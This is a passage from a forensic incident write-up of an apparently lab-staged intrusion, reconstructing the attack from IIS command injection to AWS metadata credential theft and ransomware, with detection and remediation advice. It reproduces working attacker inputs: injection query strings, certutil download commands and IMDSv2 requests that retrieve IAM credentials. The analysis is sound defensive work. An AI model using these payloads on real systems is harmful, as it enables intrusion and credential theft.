  "LocalAddr":   "10.3.10.12",         // SVR01 internal
  "LocalPort":   57174,
  "ForeignAddr": "173.230.136.180",    // Linode VPS C2
  "ForeignPort": 8443,
  "State":       "ESTABLISHED",
  "Created":     "2026-03-08T19:59:00+00:00"   // connection open since first-run
}

What the memory shows that logs can't: the TCP session to 173.230.136.180:8443 was established at beacon first-run and never closed. 2 hours 48 minutes of continuous C2 uplink — through the DC01 NTDS exfil, the DPAPI sweep, the RDP pivots, and up to (but not including) the ransomware detonation. The beacon did not use a periodic heartbeat / sleep pattern — it held a single long-lived TLS connection. Hunt rule: any services.exe-parented process with a long-lived outbound TCP session (>30 min) to a non-corporate ASN on :8443 is suspicious; most legitimate Windows services talk to Microsoft/internal endpoints on :443/:80, not :8443.

X. The attacker's keystrokes — PowerShell transcript captured the STS theft verbatim

IIS-SERV-PROD had PowerShell transcription enabled (GPO-driven, captured under source_type='ps_transcript'). Each session preserves command + output + the $global:? success-check the attacker ran — consistent with operational scripting discipline, not improvisation:

// IIS · ps_transcript · reconstructed from EID 8201

=== Session 1 · 2026-03-08T21:25:35Z ===
PS> Invoke-RestMethod -Method Put -Uri "http://169.254.169.254/latest/api/token" \
      -Headers @{'X-aws-ec2-metadata-token-ttl-seconds' = '21600'}
out: AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA==
PS> $global:?    // success-check idiom — automation pattern
out: True

=== Session 2 · 2026-03-08T21:28:07Z ===   (+2m 32s)
PS> Invoke-RestMethod -Method Get \
      -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' \
      -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_...'}
out: iam_role_iisserver                     // role-name disclosed HERE
PS> $global:?
out: True

=== Session 3 · 2026-03-08T21:29:20Z ===   (+1m 13s)
PS> Invoke-RestMethod -Method Get \
      -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/iam_role_iisserver' \
      -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_...'}
out: Code            : Success
out: LastUpdated     : 2026-03-08T21:11:20Z
out: Type            : AWS-HMAC
out: AccessKeyId     : ASIA[REDACTED-FOR-PUBLICATION]
out: SecretAccessKey : LoS6zGC+CpEL[…REDACTED 24 chars, expired…]
out: Token           : IQoJb3JpZ2luX2VjEFUaCXVzLWVhc3QtMiJHMEUCIA++cIiv2OG…[~800 chars]
out: Expiration      : 2026-03-09T03:42:10Z         // 6-hour TTL

What this transcript proves:

• Not improvised — scripted. Each Invoke-RestMethod is followed by $global:? to check success. That's an automation pattern, not interactive typing.
• 2m 32s between token-PUT and role-enum-GET is a deliberate delay — IMDSv2 rate-limit avoidance.
• STS session issued 21:11:20Z, requested 21:29:20Z, first used off-instance 21:42:11Z (CloudTrail GetCallerIdentity). The 13-minute gap is the attacker exporting Token + SecretAccessKey out of the instance to their own machine at 212.8.249.213 (WorldStream NL) before calling AWS.
• 6-hour TTL gave the operator room for all 164 S3 GetObjects + GetCallerIdentity + failed CreateAccessKey inside the window.

Forensic note: transcripts survived because LogDel.bat cleared the Microsoft-Windows-PowerShell/Operational EID buffer, not the .txt transcript files on disk. For defenders: enable transcription + encrypt the transcript target directory so an attacker with SYSTEM can't read their own captures for cleanup.

Y. Threat-actor profile — synthesized from behavioral + artifact evidence

Z. Master kill-chain timeline — every pivotal event, every citation

Total dwell: 2h 44m active attacker (18:38:29 → 22:10:52 · DD23) · total impact: 6,023 files encrypted + 2,530 ransom notes (DD13) · ntds.dit + DPAPI masterkeys + 164 S3 objects (decoy, DD17) exfiltrated · 3 live AKIA keys stockpiled (DD7 + DD16). Earliest Kerberos-visible signal (19:33:20 IIS-SERV-PROD$ TGT from WAN) would have MTTD-reduced this attack by 2h 22m — the DFIR story here is: visibility existed, nothing watched.

MI. Full MITRE ATT&CK mapping — every observed TTP with evidence cite + detection control

29 sub-techniques mapped. Every row is backed by a specific EID/channel/host/UTC + the Addendum that contains the full evidence. The bolded techniques are the pillars of this campaign (exploit → writable-ACL privesc → injection → LSASS → NTDS VSS → IMDS → S3 → ransomware).

PR. Persistence audit — what did the attacker leave behind that could still be active

Checked every standard persistence location (MITRE T1546/T1547/T1543/T1053/T1136) against the corpus. Results:

Residual risk ranked: (1) serviceaccount Domain Admin account with cleartext password is the single highest-impact residual artifact — it represents persistent DA access until removed. (2) 6 scheduled tasks may still fire. (3) IFEO Debugger on WS01 will trip every Task Manager open. (4) C:\TFTP Server\ writable ACL needs fixing so the trick isn't repeatable. (5) krbtgt was exfil'd — see Addendum KT.

IR. Post-detonation activity — CTF-author lab collection, not defender incident response

Reader correction: earlier drafts of this writeup called the 22:12-22:46 activity "incident response". On closer inspection that framing is wrong. The localuser user is explicitly out-of-scope per the CTF engagement prompt ("localuser is out of scope"), logging in from 198.51.100.3 — the same WireGuard VPN range the CTF author operates the lab from. The activity captured here is almost certainly the CTF-author / lab-framework forensic pack-up that produces the KAPE triage bundle that CTF players receive — not a defender reacting to the attack. The distinction matters: no network isolation, account disable, AD rollback, Kerberos review, or scheduled-task enumeration was performed, which would be unacceptably thin for real IR but expected for a lab-collection script.

Command trail piece from Sysmon EID 1:

Tool stack observed: KAPE (live triage) + memory-capture utility (at 22:46:45). Not observed: any containment action. Which is the tell — this isn't an IR team. If it were, we'd see one of: reg delete HKLM\System\CurrentControlSet\Services\SolarWindsTFTP (remove the hijacked service), net user serviceaccount /domain /delete (kill the DA backdoor), Disable-ADUser against compromised users, Stop-Computer on one of the 5 ransomware hosts to preserve the memory state before shutdown, or even a Get-ScheduledTask | Where {$_.TaskName -match "^[A-Za-z]{8}$"} to enumerate the 6 random-name attacker tasks. None of that fires. The curl -k kape.zip pattern is scripted lab-side collection for the packaged triage that analysts (us) then receive.

Therefore: for a real-world translation of this chain into defender playbooks, treat the 22:12-22:46 window as not part of the intrusion. The actual incident ends at 22:10:52 when the shadow-wipe cascade finishes. Anything after that in our corpus is the forensic evidence pack-up. A real IR on an equivalent environment would be starting its clock now — after collecting memory, prefetch, MFT, USN, registry, EVTX, browser artifacts, and CloudTrail — and would need to execute every remediation step in Addendum PR.

FA. Forensic artifacts — Amcache / SRUM / Shellbags present on disk but NOT in corpus

Our corpus has registry (71,106 rows from parsed hives), mft (1.46M), usn (1.83M), lnk (452), browser_*, iis, ps_transcript, evtx, cloudtrail, guardduty, s3_access, volatility. Not ingested: Amcache, Shellbags (within NTUSER.DAT), SRUM. These three artifacts would have provided additional corroborating evidence from independent Windows subsystems:

Recommendation for next KAPE collection: add targets !Amcache, ShellBags (default), SRUM (requires VSS to snapshot live). For our case, the existing corpus already proves the kill chain — these artifacts are corroborating, not required. But for a court-admissible IR report, multi-source corroboration from an independent subsystem (Amcache: AppCompat; Shellbags: user hive) is the gold standard.

EX. S3 exfiltration inventory — what was actually taken

Bucket: sfcu-records · Objects: 164 · Bytes: 11,327 · Window: 2026-03-08 21:49:16 → 21:49:19 (3-second burst) · Actor: role iam_role_iisserver used from 212.8.249.213 (WorldStream NL).

Object names fall into 7 folder prefixes:

Corrected breach-notification reading (DD17): the access was real (164 successful GetObjects under a stolen STS session) but the content was not — no genuine PII, privileged legal material, or financial records left the environment. The usable attacker takeaway is "proof of access" for resale, not operational intelligence. The real residual-damage story lives in DD16 (3 stolen long-term AWS keys never used in the capture window = stockpile persistence). A real IR would still: (1) confirm no real bucket shared the same access-path chain, (2) pull S3 Access Logs for the preceding 30 days to baseline normal access, (3) revoke the 3 DD16 keys immediately.

Note on the sample filenames above: kept verbatim as transmitted — they are the decoy payload, not sanitised placeholders. That the filenames read as parody is DD17's primary proof.

DW. Dog that didn't bark — defensive controls that actually worked

Not every part of this environment failed. Three specific controls prevented worse outcomes:

1. DefaultAppPool's missing SeStart/ChangeServicePrivilege → blocked the 19:17:04 sc start SolarWindsTFTP attempt. Attacker had to wait 20 minutes for Donny's reboot. In a world where DefaultAppPool had service-control rights (IIS misconfigurations that grant this are surprisingly common), detonation would have happened at 19:17 instead of 22:08 — 2h 51m earlier. Effect: slowed the operator but did not stop them.
2. AWS AccessKeysPerUser quota (hard limit: 2) — blocked one of four CreateAccessKey attempts (jb_aws_cli at 21:45:38, already at 2 keys). Effect: did NOT prevent persistence. ⟲ Walked back by DD7 / DD16: the attacker pivoted immediately and succeeded on three other users (donnieworks / doctorderm / coolcat) in the next 25 seconds, minting three long-term AKIA keys that remain live. Original entry is retained here only because the quota did fire correctly on the target it applied to — it just didn't change the outcome.
3. Sysmon coverage broader than LogDel.bat's scope → the attacker's LogDel.bat cleared Microsoft-Windows-PowerShell/Operational, TaskScheduler/Operational, and the classic three (System, Security, Application). It did NOT clear Microsoft-Windows-Sysmon/Operational — every post-21:08 event on SVR01 (LogDel.bat itself, DonPAPI sweep, FileZilla exfil, IMDSv2 theft) is fully reconstructible from Sysmon. Effect: the attacker cannot hide their tradecraft after 21:08.

Not-defensive-but-still-relevant: Donny's routine reboot at 19:37:35 was the trigger for the attacker's SYSTEM execution (Addendum U). That's a user action, not a control. If Donny hadn't rebooted, the planted binary would have executed eventually anyway (patch Tuesday, Windows Update, etc.) — the attacker's auto-start-service plant guaranteed eventual execution. So the "accidental cooperation" framing is technically correct but operationally inevitable in any normal admin environment.

KT. Krbtgt + Golden Ticket — the residual risk that permanent DA owns this domain until rotated twice

The NTDS exfil at 20:09:06.721 (Addendum O) extracted the complete AD credential store — including the krbtgt account's hash. Until krbtgt is rotated TWICE (the second rotation invalidates tickets issued against the first-rotation hash), the attacker can mint Golden Tickets — forged TGTs that authenticate any user to any Kerberos-authenticating resource in the domain, bypassing password changes, account disables, and even AD rebuilds that preserve the SYSVOL.

Evidence chain: Security 7045 on DC01 @ 20:09:03 installed service SOUwKZNf with ImagePath copying \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit to %SYSTEMROOT%\Temp\ZIFylmKF.tmp. Security 5145 @ 20:09:06.721 shows LAFAdmin reading \\DC01\ADMIN$\Temp\ZIFylmKF.tmp over SMB. At that moment the ntds.dit file content, including krbtgt, was transferred off DC01.

Remediation requirement:

1. Rotate krbtgt password twice, at least 10 hours apart (to allow replication between rotations). Use the Microsoft-provided New-KrbtgtKeys.ps1 script or manual: Get-ADUser krbtgt -Properties PasswordLastSet; Reset-ADAccountPassword -Identity krbtgt (twice).
2. Run a Golden Ticket detection between the two rotations: look for Security 4769 events where TicketEncryptionType is 0x17 (RC4-HMAC) when your domain's default is AES-256 (encryption downgrade is a Golden Ticket indicator). Also look for anomalous LogonId values in 4769.
3. After both rotations, rotate every service account whose hash was in ntds.dit — every domain user password, because the krbtgt is the only way to forge tickets but the dump also exposed every user's NTLM hash for direct PtH.
4. Audit for SID-history entries that could indicate earlier Golden Ticket use (Get-ADUser -Filter * -Properties SIDHistory — unexpected SIDs are a red flag).

Timeline note: the attacker did NOT need to do DCSync (T1003.006) because they chose the VSS shadow-copy path — that's why there's no 4662 DRS-REPLICATION-GET-CHANGES event. The operator explicitly preferred the noisy impacket service-install pattern over the quieter DCSync because they already had interactive DA credentials; DCSync would have required a different context. From an IR perspective, the outcome is identical: krbtgt is compromised, full forest rebuild is the safe answer.

TC. Cross-host timing — operator speed / automation signal

Certain actions fired on multiple hosts in tight windows, indicating either scripting or very fast operator reflex:

Inference: the operator used automation for lateral fan-out (task-creation loop) but interactive operation for credential theft (DPAPI/RDP with manual pauses). Mixed mode. This is consistent with Unknown C2's model where the operator types shell or exec commands through the TeamServer, but bulk operations (BOFs, fan-out loops) can be scripted.

AV. Defender / EDR posture — it was running, it didn't catch anything

Windows Defender was active on WS01 (and presumably other hosts) during the attack. Evidence:

• WS01 · Sysmon 1 @ 20:41:40.798 · MpCmdRun.exe version 4.18.26010.5 launched for scheduled tasks: "Windows Defender Cache Maintenance", "Windows Defender Scheduled Scan", "Windows Defender Cleanup". Defender WAS running with a current engine.
• Every scheduled-scan task result returned Status 0x2 / ResultCode 2147942402 = ERROR_FILE_NOT_FOUND (0x80070002) — unusual for a healthy install, suggests Defender's quick-scan couldn't locate its expected target paths.
• NO detection events were captured in the corpus. The Microsoft-Windows-Windows Defender/Operational channel is not ingested in our SQLite, so Defender-specific detection EIDs (1006/1007/1015/1117/1118) aren't visible. Our only data points are Defender's scheduled-task scaffolding events, not scan verdicts.
• The attacker's beacon evaded detection because: (1) the injected stub is a fresh, never-submitted Unknown C2 build — no signature match; (2) the injection is via CreateRemoteThread + unbacked code in Explorer's address space — Defender's signatures key on file-on-disk or on known unbacked-memory patterns it wasn't tuned for; (3) the commands the beacon ran (reg add, net user, wevtutil cl) are all LOLBIN operations that Defender doesn't flag without explicit context.

What EDR would have caught: a real EDR (CrowdStrike Falcon, SentinelOne, Defender for Endpoint advanced) would have flagged: (a) the net user /add /domain command spawned from explorer.exe on a host where the parent user has no interactive session, (b) the CreateRemoteThread with unbacked start address, (c) wevtutil cl Microsoft-Windows-PowerShell/Operational by an ordinary user account, (d) IamBatman.exe writing 1,791 files with a novel extension in 60 seconds. Stock Windows Defender doesn't have EDR-grade behavioral detection; it's AV. The environment needed EDR, and didn't have it.

CM. CloudTrail MITRE ATT&CK — cloud-side TTPs mapped

Cloud-side residual: the STS session expired at 2026-03-09T03:42:10Z (6-hour TTL). The attempted CreateAccessKey was blocked by quota. No persistence established in AWS. But: CloudTrail/S3 logs must be preserved with legal hold; the role iam_role_iisserver should be rotated (new role, new trust policy, update EC2 user-data); AWS support should be engaged for account activity review (the attacker may have attempted other API calls that returned errors and aren't in this cid-focused dataset).

AC. Attribution confidence rubric — how firm is every claim?

ES. Executive summary — one page for the CISO

Event class: Multi-stage intrusion by an organized-crime-tier actor (S2) resulting in full domain compromise and ransomware impact. 164 minutes from true initial probe to cascade completion (18:38:29 → 22:22 · DD23); 2h 44m active dwell (to 22:10:52). Detection did work (3 GuardDuty fires starting 21:57:18 · DD18.2) — response did not, and the 11-minute missed-response window (21:57 → 22:08) elapsed unacted.

Initial access: OS command injection in a public-facing IIS application (CheckStatus.aspx). The operator exploited a single unvalidated query parameter at 18:51:41 UTC, used certutil to drop a custom Unknown C2-C2 beacon into the IIS worker process's %TEMP%, and established egress to a Linode VPS on 173.230.136.180:8443.

Privilege escalation to SYSTEM came through a writable-ACL misconfiguration on C:\TFTP Server\ that let the IIS application-pool user overwrite a legitimate auto-start service binary. An unrelated reboot by a domain administrator 20 minutes later triggered the replaced binary as SYSTEM.

Lateral movement used SMB-admin-share service-install (impacket pattern) to reach SVR01. The beacon then injected into Explorer.EXE (Sysmon EID 8 at 20:01:16) and used the injected thread to dump LSASS and harvest the LAFAdmin credentials. From SVR01's beacon context, the operator:

• Created a domain-admin account (serviceaccount / P@ssw0RD1!)
• Dumped the complete Active Directory credential store (ntds.dit) via a 5-stage impacket secretsdump — exfiltrating every user's NTLM hash and the krbtgt key
• Enabled Pass-the-Hash across 4 hosts via registry flip of DisableRestrictedAdmin=0
• Harvested Chrome Login Data via DonPAPI
• Exfiltrated data.cab via FileZilla SFTP to the attacker's Linode VPS
• Stole an AWS STS credential via IMDSv2 and used it off-instance to read 164 S3 objects from the sfcu-records bucket

Impact: at 22:08:40 the actor detonated a custom ransomware binary (IamBatman.exe) delivered via AD's own SYSVOL replication. 6,023 files were encrypted + 2,530 ransom notes dropped across 5 hosts in 58 minutes (21:58:34 botched first attempt → 22:56:42 last encrypt on WS02 brndlog.txt · DD13). DC02 cleanly matched 388 files in 5.4 s — a natural completion, not an abort: DCs hold few user .txt/.pdf/.csv documents in IamBatman's narrow target scope, so per-host rate differences reflect directory-walk time, not encryption speed (DD14.1). Extension scope is narrow: 91.6% .txt, and critical AD files (ntds.dit, SYSTEM/SAM/SECURITY hives) are deliberately skipped — consistent with a parameterized CLI tool built for this scenario, not commodity ransomware.

The critical finding is this: the earliest attacker-visible Kerberos signal occurred at 19:33:20 UTC — 2 hours and 22 minutes before ransomware detonation. Sysmon was running, PowerShell transcription was on, Security logging was enabled, and CloudTrail was configured. The infrastructure to catch this attack was already deployed. Nothing was watching the alerts.

Residual risk (requires action): (1) krbtgt hash exfiltrated — must be rotated twice; assume Golden Ticket viability until then. (2) serviceaccount still in AD with cleartext DA password. (3) 6 scheduled tasks planted across encrypted hosts. (4) IFEO Debugger on WS01 for taskmgr.exe. (5) C:\TFTP Server\ writable ACL must be fixed. See Addenda KT + PR.

What worked: AWS account-key quota blocked cloud persistence. DefaultAppPool privilege absence slowed the privesc by 20 minutes. Sysmon's coverage scope was broader than the attacker's log-clearing scope, preserving post-21:08 evidence on SVR01. Without these three, the outcome would have been worse.

DD2. Second-pass deep-dive — seven findings surfaced after the Tier-1/2/3 round

After writing Addenda A–Z + AA/AB/CM/AC/ES/PI/PR/IR/FA/EX/DW/KT/TC/AV/VT/MI/Ω, a sweep for remaining gaps surfaced these seven corpus-verified items. Each is low-volume but closes a specific question a DFIR reviewer would otherwise ask.

DD2.1 — LAFAdmin ran Advanced_IP_Scanner_2.5.4594.1.exe interactively on DC02

Addenda D/M noted the download and registry-state-change for Advanced IP Scanner. What they missed is the actual interactive execution from LAFAdmin's RDP session on DC02:

// DC02 · user=LAFAdmin · Sysmon EID 1
20:54:27.363   Advanced_IP_Scanner_2.5.4594.1.exe  (PID 7336, parent explorer.exe)
20:54:27.533   is-0FC87.tmp\Advanced_IP_Scanner_2.5.4594.1.tmp  (installer tmp)
20:54:37.290   msiexec.exe /Embedding E71E81EF09C9B21B2EF707425670387B
20:54:40.555   C:\Program Files (x86)\Advanced IP Scanner\advanced_ip_scanner.exe  (PID 1736)

What this adds: the attacker didn't just download — they ran a network discovery tool from inside a Domain Controller. The registry artifact from Addendum D (famatech\advanced_ip_scanner\State\LastRangeUsed = 10.3.10.1-254 at 20:55:48) is the scan-range selection for that execution. Full recon of the 10.3.10.0/24 LAF subnet from DC02.

DD2.2 — PowerShell profile hijack was hand-edited on DC02

Motion-to-Persist challenge 6 (SHA256 d61890ad6df3c57b3ec33678d734d63f632a15aff2817eef01bc9b3c2488e403) asked for the SHA256 of the shellcode in a dropped PowerShell profile. The corpus shows the profile file was opened in notepad twice by LAFAdmin on DC02:

// DC02 · user=LAFAdmin · Sysmon EID 1
20:56:49.099  notepad.exe  C:\Users\LAFAdmin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
20:57:44.103  notepad.exe  C:\Users\LAFAdmin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1  (second open)

What this adds: the profile-file persistence (T1546.013) wasn't dropped by the beacon — it was hand-written by the operator in notepad. 55 seconds between opens suggests edit → save → test → reopen to refine. That's operator-on-keyboard customization of a domain-admin persistence payload, specifically on a DC where every PowerShell session on that user profile will auto-load the hijacked profile. The profile-load fires on any PS invocation by LAFAdmin on DC02 going forward — until the file is cleaned up. Flagged as active residual in Addendum PR.

DD2.3 — LSASS access audit: SVR01 20:03:30 is the only malicious LSASS read

Across all 5 hosts during the attack window, Sysmon EID 10 targeting lsass.exe fired:

What this adds: Earlier Addenda cited the SVR01 LSASS dump as exceptional. DD2.3 confirms that exceptionality — no second LSASS dump happened on any other host. The operator harvested credentials once (from SVR01 via the injected beacon) and relied on that set for the rest of the kill chain. WS01/WS02/DC02 compromise used cached hashes via RDP PtH, not fresh LSASS dumps.

DD2.4 — Outbound Sysmon EID 3 map: the beacon uplink

IIS C:\Windows\Temp\iis.exe opened TCP to 173.230.136.180:8443 at:

• 19:05:51 — 13-minute-late first beacon (after 18:52:30 first launch as DefaultAppPool; initial connection or retry)
• 19:06:46 — second uplink (beacon respawned via webshell start %TEMP%\iis.exe)
• 19:37:47 / 19:37:51 — two connections during Donny's reboot window (beacon retrying as the host goes down/up)

The beacon as SYSTEM (post-19:38:02) used a separate long-lived TLS connection — Addendum W shows that one still ESTABLISHED at 22:46:45, created 19:59:00 from SVR01 (10.3.10.12:57174 → 173.230.136.180:8443). Combining both: two simultaneous beacon channels at the campaign peak — the IIS DefaultAppPool beacon (short-lived, killed by Donny's reboot) and the SVR01 SYSTEM beacon (long-lived, never closed).

DD2.5 — DNS resolution for www.advanced-ip-scanner.com

Sysmon EID 22 on DC02 at 20:54:44:

QueryName:    "www.advanced-ip-scanner.com"
QueryResults: "type: 5 advanced-ip-scanner.com; ::ffff:188.40.30.100;"
Image:        "C:\Program Files (x86)\Advanced IP Scanner\advanced_ip_scanner.exe"

What this adds: the attacker pulled Advanced IP Scanner from the legitimate Famatech vendor site at 188.40.30.100 (Hetzner Germany) — NOT a malware-rehost. Standard tool, legitimate source. This is a "living off trusted sources" pattern: the tool itself is dual-use (legit admin + attacker recon), and fetching it from the vendor's real domain evades reputation-based URL filtering.

DD2.6 — Impacket service-install fingerprint did not appear on WS01, WS02, or DC02

Addendum C documents the 5-stage UnmfmnOL / QsYyAARL / XCCVTGUb / SOUwKZNf / PovLjNTr impacket dance on DC01. A check across every other host for the same %COMSPEC% /Q /c echo … > execute.bat ImagePath pattern returned zero matches on WS01, WS02, or DC02 during the attack window.

What this adds: impacket was used once and only once — for NTDS extraction on DC01. Lateral moves to WS01 (20:35 RDP), DC02 (20:45 RDP), and WS02 (21:57 RDP) all used RDP Type 10 with cached credentials (Pass-the-Hash over RDP via DisableRestrictedAdmin=0), not impacket service-install. This is a tradecraft discipline signal — impacket is noisy (service install = 4697 + 7045 every time), so the operator minimized its use to the one action where it's required (VSS shadow copy path to ntds.dit).

DD2.7 — Firefox on DC02 phoned Mozilla telemetry during the operator's session

pingsender.exe parent firefox.exe at 20:49:16 on DC02, user=LAFAdmin, sending ping to incoming.telemetry.mozilla.org. This is Firefox's legitimate anonymous-telemetry mechanism — but the operational context is the interesting part:

• The operator had Firefox open on a Domain Controller for ≥3 minutes during the RDP session.
• This is a behavioral tell — legit DC admins don't use DCs for web browsing; they RDP elsewhere or use jump boxes. An operator using a DC as a general-purpose workstation is consistent with someone who doesn't know or care about DC hygiene norms.
• The telemetry ping went to Mozilla's real infrastructure and is harmless by itself, but it's an indirect attribution signal: the operator's Firefox instance had been running long enough to generate telemetry batches, implying either (a) they'd been using that Firefox profile for a while (reusing infrastructure) or (b) they'd imported a profile recently enough to trigger session-start telemetry.

Cumulative effect of DD2.1-DD2.7: strengthens three claims that were previously only circumstantially supported — (1) the operator was hands-on-keyboard on DC02 for ~80 minutes (Advanced IP Scanner GUI, Notepad profile edit, Firefox browsing), not purely automated; (2) impacket usage was surgical and one-shot, not a default lateral-move tool in this operator's kit; (3) the one real LSASS dump was genuinely the only one, with every other LSASS-access event explainable as legitimate svchost/Chrome-installer behavior.

DD3. Third-pass deep-dive — initial-access revised by 13 minutes + victim brand + cadence + baseline

DD3.1 — True initial access: 18:38:29, not 18:51:41 (the webshell drop)

The corpus's iis source_type contains the W3C access log for the barrygoodtech.com IIS site. Parsing it reveals the actual first malicious request and the attacker's full command-injection probe sequence before the "official" webshell drop:

// IIS access log (source_type='iis') · c-ip=172.236.127.251 · UA=Firefox/140.0 Linux x86_64

18:38:29   GET /                   sc-status 200   first probe · bare site root
18:38:37   GET /index.html         Referer barrygoodtech.com/          browsing
18:38:39   GET /services.html      Referer /index.html                 browsing
18:38:45   GET /CheckStatus.aspx   Referer /index.html                 discovers the vuln page
18:39:03   /CheckStatus.aspx?url=google.com                 benign test (confirms app echoes url)
18:39:46   /CheckStatus.aspx?url=facebook.com               second benign test
18:40:01   /CheckStatus.aspx?url=google.com+|+whoami        FIRST INJECTION ATTEMPT (pipe)
18:40:21   /CheckStatus.aspx?url=google.com+;+whoami        semicolon separator
18:40:37   /CheckStatus.aspx?url=google.com+;+set           env dump
18:40:54   /CheckStatus.aspx?url=Google.com+;+cat+/etc/passwd   ← tried UNIX first
18:40:59   /CheckStatus.aspx?url=Google.com+;+echo+"test'       quote-escape test
18:41:06   /CheckStatus.aspx?url=Google.com+;+ls+C:\users\      switched to WINDOWS
18:41:13   /CheckStatus.aspx?url=Google.com+&&+whoami           tries && combinator
18:41:22   /CheckStatus.aspx?url=Google.com+&&+set              env dump
18:41:43   /CheckStatus.aspx?url=Google.com+&&+C:\              bare drive letter
18:42:00   /CheckStatus.aspx?url=Google.com+&&+ls+C:\Users
18:42:13   /CheckStatus.aspx?url=Google.com+&&+ls+C:\inetpub
18:42:28   /CheckStatus.aspx?url=Google.com+|+ls+C:\inetpub     tries pipe again
18:42:38   /CheckStatus.aspx?url=Google.com+&&+dir+C:\inetpub   DIR (Windows cmd) ← confirms Windows
18:43:02   /CheckStatus.aspx?url=Google.com+&&+dir+C:\Users\    enumerate users
18:43:18   /CheckStatus.aspx?url=Google.com+&&+dir+C:\inetpub\wwwroot
18:43:43   /CheckStatus.aspx?url=Google.com+&&+type+C:\inetpub\wwwroot\web.config   ← reads web.config
18:44:33   /CheckStatus.aspx?url=Google.com+&&+dir+C:\                               root listing
18:45:12   /CheckStatus.aspx?url=Google.com+&&+dir+C:\"TFTP Server"                  ← FOUND the privesc target
18:51:42   /CheckStatus.aspx?url=google.com+&&+certutil+-urlcache+…/so.aspx…         webshell drop
18:52:20   /CheckStatus.aspx?url=Google.com+&&+certutil+-urlcache+…/iis.exe…         beacon drop

What this changes:

• True initial-access time is 18:38:29, not 18:51:41. The 18:51:41 value is the webshell drop — the moment the attacker confirmed exploitation and started deploying tooling. The first malicious probe — the bare GET / from 172.236.127.251 that begins the recon chain — is 13 minutes earlier. Authoritative dwell time: 2 h 44 m (18:38:29 → 22:10:52 shadow-wipe cascade).
• Victim brand is barrygoodtech.com — the public-facing IIS site hostname appears in every cs(Referer) header and ties the attacker's browser navigation chain together (/ → /index.html → /services.html → /CheckStatus.aspx). This is the external-facing brand of the victim organization; previously the writeup referred only to "IIS-SERV-PROD" (the internal machine name).
• Attacker initially tested as Unix — the ;+cat+/etc/passwd at 18:40:54 shows they hadn't confirmed the OS yet. After the Windows-style dir works at 18:42:38, they commit to Windows syntax for the rest.
• They discovered C:\TFTP Server\ via dir at 18:45:12 — SIX MINUTES before the webshell drop. The privesc target folder was identified during recon and queued for exploitation. This is consistent with operator-on-keyboard discovery, not blind exploitation.
• The attacker read web.config at 18:43:43 — potentially to extract connection strings, machine keys, or app-pool identity details. The corpus doesn't capture the response body so we can't confirm what they learned, but the read itself is evidence of configuration-data theft.

DD3.2 — Ludus baseline noise: 40-55% of Sysmon EID 1 per host is lab-framework overhead

The null404 environment is built on the Ludus lab framework, which runs a persistent bginfo.exe refresh loop on every host. During the 18:00–00:00 attack window:

What this adds: a DFIR analyst inheriting this corpus should filter out image LIKE '%ludus\background\bginfo.exe%' + parent_image LIKE '%ludus\background\bginfo.exe%' as the first query hygiene step. 55% of DC02's Sysmon EID 1 rows during the attack are lab-framework bginfo invocations — drowning the signal. The writeup's evidence-based approach would be harder without this filter; all the "attacker command" queries in the addenda have this filter applied implicitly via parent_image LIKE '%explorer%' and other scope clauses.

Note: this noise is entirely an artifact of the Ludus lab, not a real corporate environment. In a production DFIR engagement the equivalent "always-on noise" is whatever background-refresh agents are deployed (SCCM, Intune, Nessus agent, CrowdStrike sensor heartbeat, etc.). Same filter concept, different image paths.

DD3.3 — DCSync not observed — the Security 4662 events are legitimate AD replication

Addendum KT claimed DCSync was not used (the operator chose the VSS shadow-copy path instead). DD3.3 verifies this directly. Security EID 4662 events on DC01 during the attack window do fire, but:

// DC01 · Security EID 4662 · hourly clockwork at XX:01:00
SubjectUserSid   : S-1-5-18
SubjectUserName  : LAF-DC01$            ← DC's own machine account
SubjectLogonId   : 0x4ba28
ObjectServer     : DS (Directory Service)
ObjectType       : {19195a5b-6da0-11d0-afd3-00c04fd930c9}    // domain object class
ObjectName       : {90d47c4c-4bff-4b74-84c9-9bfc90bfa257}    // NC head
AccessMask       : 0x100
Properties       : %%7688   (message ID, decodes to one of the AD control rights)

Why this is NOT DCSync:

• SubjectUser is LAF-DC01$ (the DC itself), not a user-context account. DCSync attacks show a user account (LAFAdmin, serviceaccount) as subject, or occasionally NetworkService/LocalService. A DC asking itself for replication rights every hour on the hour is AD's own KCC topology/replication heartbeat — not an attacker.
• Clockwork timing (18:01, 19:01, 20:01, 21:01, 22:01) is the AD default replication schedule, not attacker behavior.
• No 4624 Type 3 NTLM/Kerberos from a non-DC account immediately before each 4662 — DCSync attacks are preceded by an attacker authenticating and then invoking DRSUAPI. Here, every 4662 has SubjectLogonId 0x4ba28 which is the DC's boot session.
• The attacker's chosen path was impacket secretsdump --use-vss (Addendum C), which extracts ntds.dit via a shadow copy and does not touch DRSUAPI at all. That's a deliberate tradecraft choice: DCSync would require either domain-admin+replicating-directory-changes permission or a DA account, and would fire a distinctive 4662 with the three DCSync-specific GUIDs. The operator chose the quieter shadow-copy path.

Hunt rule that would catch DCSync (not needed for this case, but ship to defenders anyway): Security 4662 WHERE SubjectUser NOT MATCHES %$ AND Properties CONTAINS ANY OF: {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2, 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2, 89e95b76-444d-4c62-991a-0facbeda640c}. Those three GUIDs are DS-Replication-Get-Changes / All / In-Filtered-Set — no legitimate user account should hold them in normal ops.

DD3.4 — Attacker command cadence on SVR01: human-pace gaps confirm operator-on-keyboard

Delta-time between consecutive LAFAdmin-via-Explorer commands on SVR01 (same source set as Addendum PI.3):

Cadence interpretation: the pattern is classic mixed-mode tradecraft — 51 s for the 2-command DA-setup script (short enough to be a single copy-paste with a one-liner), 10-min and 48-min gaps where the operator pivoted to other hosts (DC01 NTDS exfil, then DC02 hands-on-keyboard), and 7-12 s interactive gaps between notepad reads of shared documents (a human clicking through files). This is not an autonomous-payload pattern; it's an operator juggling three hosts through separate beacon channels.

DD4. Fourth-pass — three external IPs on the IIS app, webshell delivery channel decoded, MotW corroboration

DD4.1 — Three distinct external IPs on barrygoodtech.com

